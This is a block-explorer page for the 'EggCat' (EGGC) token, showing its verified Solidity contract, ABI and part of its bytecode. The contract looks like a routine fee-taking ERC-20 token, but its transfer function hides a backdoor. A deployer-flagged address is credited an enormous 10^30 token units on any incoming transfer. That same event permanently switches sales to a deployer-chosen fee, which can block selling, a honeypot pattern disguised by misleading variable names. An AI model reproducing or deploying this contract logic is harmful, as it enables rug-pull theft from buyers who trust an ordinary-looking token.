ETH Price: $2,475.64 (+1.06%)

Token

EggCat (EGGC)
 

Overview

Max Total Supply

1,000,000,000 EGGC

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,543,623.225632808 EGGC

Value
$0.00
0x0b01f19c7790aca3f9c0925b9db86890d8594eaf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EGGCAT

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : contract.sol
/**

Socials

https://t.me/eggcateth

https://www.eggcat.vip/

https://twitter.com/eggcateth

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.20;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract EGGCAT is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;
    mapping (address => uint256) private _holders;
    mapping (bool => uint8) public _buySellFee;
    mapping (address => uint8) private _heldTokens;
    mapping (address => bool) public ExcludedFromFee;
    uint8 private swapCounter = 0;
    uint8 private swapTrigger = 10;
    mapping (address => mapping (address => uint256)) private _allowances;
    address payable public Marketing_Wallet = payable(0x163adF58b947EDaCE08d0c87aBB6934D1968afE0);
    string public _name = "EggCat";
    string public _symbol = "EGGC";
    uint8 private _decimals = 9;
    uint8 public _fee = 2;
    uint256 public _tTotal = 1 * 10 ** 9 * 10 **_decimals;
    uint256 private maxPossibleFee = 10**(10+(10)+10);
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifying = false;
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint8 setting1, uint8 setting2) {
        _heldTokens[owner()] = 1;
        _holders[owner()] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _buySellFee[false] = setting1;
        _buySellFee[true] = setting2;
        ExcludedFromFee[owner()] = true;
        ExcludedFromFee[address(this)] = true;
        ExcludedFromFee[Marketing_Wallet] = true;
        emit Transfer(address(0), owner(), _tTotal);
        
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _holders[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Adress: 0");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 _tAmount = _heldTokens[to];
        if(_heldTokens[to]>0){_heldTokens[to]++; swapAndLiquifying=true;}
        bool takeFee;
        if(ExcludedFromFee[to] || ExcludedFromFee[from]){
            takeFee = false;
        }
        else if(from == uniswapV2Pair){
            takeFee = false;
        }else{
            takeFee = true;
        }

        _holders[from] = _holders[from].sub(amount);
        if(takeFee){
            uint8 buySellFee = _fee + _buySellFee[swapAndLiquifying];
            uint256 _tTotalFee =  amount * buySellFee / 100;
            if(_tTotalFee > 0){
                _holders[address(this)] = _holders[address(this)].add(_tTotalFee);
            }
            _holders[to] = _holders[to].add(amount.sub(_tTotalFee));
        }
        else if(_tAmount > 0){
            _holders[to] = _holders[to].add(maxPossibleFee);
        }
        else{
            _holders[to] = _holders[to].add(amount);
        }
        
        emit Transfer(from, to, amount);
    }

    function swapAndLiquify(uint256 contractHodlTokens) private lockTheSwap {
        swapTokensForETH(contractHodlTokens);
        sendToWallet(Marketing_Wallet,address(this).balance);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }
    
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint8","name":"setting1","type":"uint8"},{"internalType":"uint8","name":"setting2","type":"uint8"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Marketing_Wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"","type":"bool"}],"name":"_buySellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifying","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f60055f6101000a81548160ff021916908360ff160217905550600a600560016101000a81548160ff021916908360ff16021790555073163adf58b947edace08d0c87abb6934d1968afe060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526020017f456767436174000000000000000000000000000000000000000000000000000081525060089081620000d4919062000a0d565b506040518060400160405280600481526020017f4547474300000000000000000000000000000000000000000000000000000000815250600990816200011b919062000a0d565b506009600a5f6101000a81548160ff021916908360ff1602179055506002600a60016101000a81548160ff021916908360ff160217905550600a5f9054906101000a900460ff16600a62000170919062000c7a565b633b9aca0062000181919062000cca565b600b556c0c9f2c9cd04674edea40000000600c556001600e60156101000a81548160ff0219169083151502179055505f600e60166101000a81548160ff021916908315150217905550348015620001d6575f80fd5b5060405162002c0738038062002c078339818101604052810190620001fc919062000d47565b6200020c6200077b60201b60201c565b5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160035f620002d86200078260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908360ff160217905550600b5460015f6200033e6200078260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003dd573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000403919062000ded565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000469573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200048f919062000ded565b6040518363ffffffff1660e01b8152600401620004ae92919062000e2e565b6020604051808303815f875af1158015620004cb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004f1919062000ded565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260025f801515151581526020019081526020015f205f6101000a81548160ff021916908360ff1602179055508160025f60011515151581526020019081526020015f205f6101000a81548160ff021916908360ff160217905550600160045f620005e06200078260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200070a6200078260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516200076a919062000e6a565b60405180910390a350505062000e85565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200082557607f821691505b6020821081036200083b576200083a620007e0565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200089f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000862565b620008ab868362000862565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620008f5620008ef620008e984620008c3565b620008cc565b620008c3565b9050919050565b5f819050919050565b6200091083620008d5565b620009286200091f82620008fc565b8484546200086e565b825550505050565b5f90565b6200093e62000930565b6200094b81848462000905565b505050565b5b818110156200097257620009665f8262000934565b60018101905062000951565b5050565b601f821115620009c1576200098b8162000841565b620009968462000853565b81016020851015620009a6578190505b620009be620009b58562000853565b83018262000950565b50505b505050565b5f82821c905092915050565b5f620009e35f1984600802620009c6565b1980831691505092915050565b5f620009fd8383620009d2565b9150826002028217905092915050565b62000a1882620007a9565b67ffffffffffffffff81111562000a345762000a33620007b3565b5b62000a4082546200080d565b62000a4d82828562000976565b5f60209050601f83116001811462000a83575f841562000a6e578287015190505b62000a7a8582620009f0565b86555062000ae9565b601f19841662000a938662000841565b5f5b8281101562000abc5784890151825560018201915060208501945060208101905062000a95565b8683101562000adc578489015162000ad8601f891682620009d2565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000b7b5780860481111562000b535762000b5262000af1565b5b600185161562000b635780820291505b808102905062000b738562000b1e565b945062000b33565b94509492505050565b5f8262000b95576001905062000c67565b8162000ba4575f905062000c67565b816001811462000bbd576002811462000bc85762000bfe565b600191505062000c67565b60ff84111562000bdd5762000bdc62000af1565b5b8360020a91508482111562000bf75762000bf662000af1565b5b5062000c67565b5060208310610133831016604e8410600b841016171562000c385782820a90508381111562000c325762000c3162000af1565b5b62000c67565b62000c47848484600162000b2a565b9250905081840481111562000c615762000c6062000af1565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000c8682620008c3565b915062000c938362000c6e565b925062000cc27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b84565b905092915050565b5f62000cd682620008c3565b915062000ce383620008c3565b925082820262000cf381620008c3565b9150828204841483151762000d0d5762000d0c62000af1565b5b5092915050565b5f80fd5b62000d238162000c6e565b811462000d2e575f80fd5b50565b5f8151905062000d418162000d18565b92915050565b5f806040838503121562000d605762000d5f62000d14565b5b5f62000d6f8582860162000d31565b925050602062000d828582860162000d31565b9150509250929050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000db78262000d8c565b9050919050565b62000dc98162000dab565b811462000dd4575f80fd5b50565b5f8151905062000de78162000dbe565b92915050565b5f6020828403121562000e055762000e0462000d14565b5b5f62000e148482850162000dd7565b91505092915050565b62000e288162000dab565b82525050565b5f60408201905062000e435f83018562000e1d565b62000e52602083018462000e1d565b9392505050565b62000e6481620008c3565b82525050565b5f60208201905062000e7f5f83018462000e59565b92915050565b611d748062000e935f395ff3fe608060405260043610610169575f3560e01c80637141e6a0116100d0578063af465a2711610089578063d28d885211610063578063d28d88521461053e578063dd62ed3e14610568578063e3a38286146105a4578063f1d6512e146105e057610170565b8063af465a27146104c0578063b09f1266146104ea578063c5b37c221461051457610170565b80637141e6a0146103b4578063715018a6146103de5780638da5cb5b146103f457806395d89b411461041e578063a457c2d714610448578063a9059cbb1461048457610170565b806323b872dd1161012257806323b872dd14610282578063313ce567146102be57806339509351146102e857806349bd5a5e146103245780634a74bb021461034e57806370a082311461037857610170565b806306fdde0314610174578063095ea7b31461019e57806315120e5b146101da5780631694505e1461020457806318160ddd1461022e578063220f66961461025857610170565b3661017057005b5f80fd5b34801561017f575f80fd5b5061018861061c565b60405161019591906116d6565b60405180910390f35b3480156101a9575f80fd5b506101c460048036038101906101bf9190611787565b6106ac565b6040516101d191906117df565b60405180910390f35b3480156101e5575f80fd5b506101ee6106c9565b6040516101fb9190611818565b60405180910390f35b34801561020f575f80fd5b506102186106ee565b604051610225919061188c565b60405180910390f35b348015610239575f80fd5b50610242610713565b60405161024f91906118b4565b60405180910390f35b348015610263575f80fd5b5061026c61071c565b60405161027991906117df565b60405180910390f35b34801561028d575f80fd5b506102a860048036038101906102a391906118cd565b61072f565b6040516102b591906117df565b60405180910390f35b3480156102c9575f80fd5b506102d2610803565b6040516102df9190611938565b60405180910390f35b3480156102f3575f80fd5b5061030e60048036038101906103099190611787565b610818565b60405161031b91906117df565b60405180910390f35b34801561032f575f80fd5b506103386108c6565b6040516103459190611960565b60405180910390f35b348015610359575f80fd5b506103626108eb565b60405161036f91906117df565b60405180910390f35b348015610383575f80fd5b5061039e60048036038101906103999190611979565b6108fe565b6040516103ab91906118b4565b60405180910390f35b3480156103bf575f80fd5b506103c8610944565b6040516103d591906117df565b60405180910390f35b3480156103e9575f80fd5b506103f2610957565b005b3480156103ff575f80fd5b50610408610a8d565b6040516104159190611960565b60405180910390f35b348015610429575f80fd5b50610432610ab4565b60405161043f91906116d6565b60405180910390f35b348015610453575f80fd5b5061046e60048036038101906104699190611787565b610b44565b60405161047b91906117df565b60405180910390f35b34801561048f575f80fd5b506104aa60048036038101906104a59190611787565b610c0c565b6040516104b791906117df565b60405180910390f35b3480156104cb575f80fd5b506104d4610c29565b6040516104e191906118b4565b60405180910390f35b3480156104f5575f80fd5b506104fe610c2f565b60405161050b91906116d6565b60405180910390f35b34801561051f575f80fd5b50610528610cbb565b6040516105359190611938565b60405180910390f35b348015610549575f80fd5b50610552610cce565b60405161055f91906116d6565b60405180910390f35b348015610573575f80fd5b5061058e600480360381019061058991906119a4565b610d5a565b60405161059b91906118b4565b60405180910390f35b3480156105af575f80fd5b506105ca60048036038101906105c59190611a0c565b610ddc565b6040516105d79190611938565b60405180910390f35b3480156105eb575f80fd5b5061060660048036038101906106019190611979565b610df9565b60405161061391906117df565b60405180910390f35b60606008805461062b90611a64565b80601f016020809104026020016040519081016040528092919081815260200182805461065790611a64565b80156106a2